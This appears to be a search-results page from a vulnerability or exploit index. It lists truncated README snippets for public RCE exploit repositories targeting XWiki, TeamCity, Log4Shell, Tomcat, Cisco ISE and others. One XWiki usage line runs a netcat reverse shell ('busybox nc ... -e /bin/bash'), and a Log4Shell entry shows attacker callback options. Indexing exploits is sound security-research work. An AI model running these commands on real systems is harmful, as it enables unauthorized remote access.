104 matches found
CVE-2025-24893
CVE-2025-24893 针对 XWiki 版本低于 15.10.11、16.4.1 和 16.5.0RC1 的远程代码执行漏洞利用。 用法 $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 仅用于道德目的 :...
nGixshell
nGixShell es un escáner de CVEs de nginx y un framework de explotación de RCE. Incluye una prueba de concepto para CVE-2026-42945 CVSS 3.1 8.1 HIGH según F5/NVD — un desbordamiento de búfer en el heap en ngxhttprewritemodule — y un escáner que cubre 64 CVEs de nginx con sondeos HTTP automatizados...
htattack
htattack.py 用于 RTF 文档中 RCE（CVE-2017-0199）的漏洞利用实现。 视频（西班牙语）： https://www.youtube.com/watch?v=0lDvclMrymM 用法： python htattack.py -u...
teamcity-exploit-cve-2023-42793
TeamCity Exploit Cve 2023 42793 一个快速利用 cve-2023-42793 漏洞的脚本。关于该漏洞的更多信息可参见： https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793 https://www.cnblogs.com/LittleHann/p/17843271.html 该脚本增加了在触发 RCE 漏洞后自由使用 "params" 执行命令的能力：...
L4sh
Log4Shell RCE 漏洞利用 完全独立的漏洞利用程序，不需要任何第三方二进制文件。 该漏洞利用程序会将有效载荷喷洒到所有可能被记录的 HTTP 标头，例如 X-Forwarding , Server-IP , User-Agent 使用方法 python main.py -i lhost -u http://target:targetport -c "commandtoexecute" -p lhttpport -l lldapport 依赖要求 java-8-openjdk pip install -r requirements.txt python3.6+...
RCE-Exploit-Framework
RCE-Exploit-Framework 该框架旨在帮助渗透测试人员或开发人员理解远程代码执行（RCE）利用的机制。 功能 Payload 生成器 ：支持基于 Python、Bash 和 PHP 创建自定义 Payload。 漏洞利用执行器 ：通过 HTTP POST 或 GET 将 Payload 发送到目标。 反弹 Shell 监听器 ：用于接收反弹 Shell 连接的模块。 日志输出 ：保存漏洞利用活动的日志，以便进一步分析。 使用方法 1. 从 Python 官方网站下载并安装 Python：https://www.python.org。 2. 安装 pip 模块 pip...
CVE-2024-51567-RCE-EXPLOIT
CVE-2024-51567-RCE-EXPLOIT cbyerpanel 远程代码执行漏洞利用...
CVE-2025-64512_PoC
CVE-2025-64512 — pdfminer.six RCE 漏洞利用 Python 3，仅使用标准库 （无需 pip 安装）。仅供授权安全测试和 CTF 使用——您有责任遵守法律以及您所参与项目的 交战规则。 | ---|--- CVE| CVE-2025-64512 受影响| pdfminer.six .pickle.gz）形式打包在自身的包内。 看看 CMap 是如何加载的（pdfminer/cmapdb.py，20251107 之前的所有版本）： @classmethod def loaddatacls, name: str - Any: name =...
CVE-2023-43177
CVE-2023-43177 CrushFTP = 10.5.1 远程代码执行 该仓库包含研究期间开发的RCE漏洞验证利用程序。...
h2database-rce-poc
H2 Console RCE Exploit Toolkit Vulnerability exploitation scr...
Exploit for Path Traversal in Vmware Cloud_Foundation
CTT-enhanced-VMware-vCenter Looking at current high-impact vul...
SweetRice-CMS-1.5.1-RCE-Exploit
SweetRice CMS 1.5.1 RCE Exploit Overview SweetRice CMS 1.5...
EUVD-2021-16090
Malware in sbrugna...
EUVD-2020-0163
Malware in sbrugna...
EUVD-2020-0162
Malware in sbrugna...
CVE-2014-125115 Pandora FMS ≤ 5.0 SP2 Default Credential SQL Injection RCE
An unauthenticated SQL injection vulnerability exists in Pandora FMS version 5.0 SP2 and earlier. The mobile/index.php endpoint fails to properly sanitize user input in the loginhashdata parameter, allowing attackers to extract administrator credentials or active session tokens via crafted...
Exploit for Deserialization of Untrusted Data in Apache Tomcat
CVE-2025-24813 Apache Tomcat RCE Exploit PoC This repository...
Exploit for Injection in Cisco Identity_Services_Engine
CVE-2025-20281-2-Cisco-ISE-RCE Unauthenticated Python PoC for...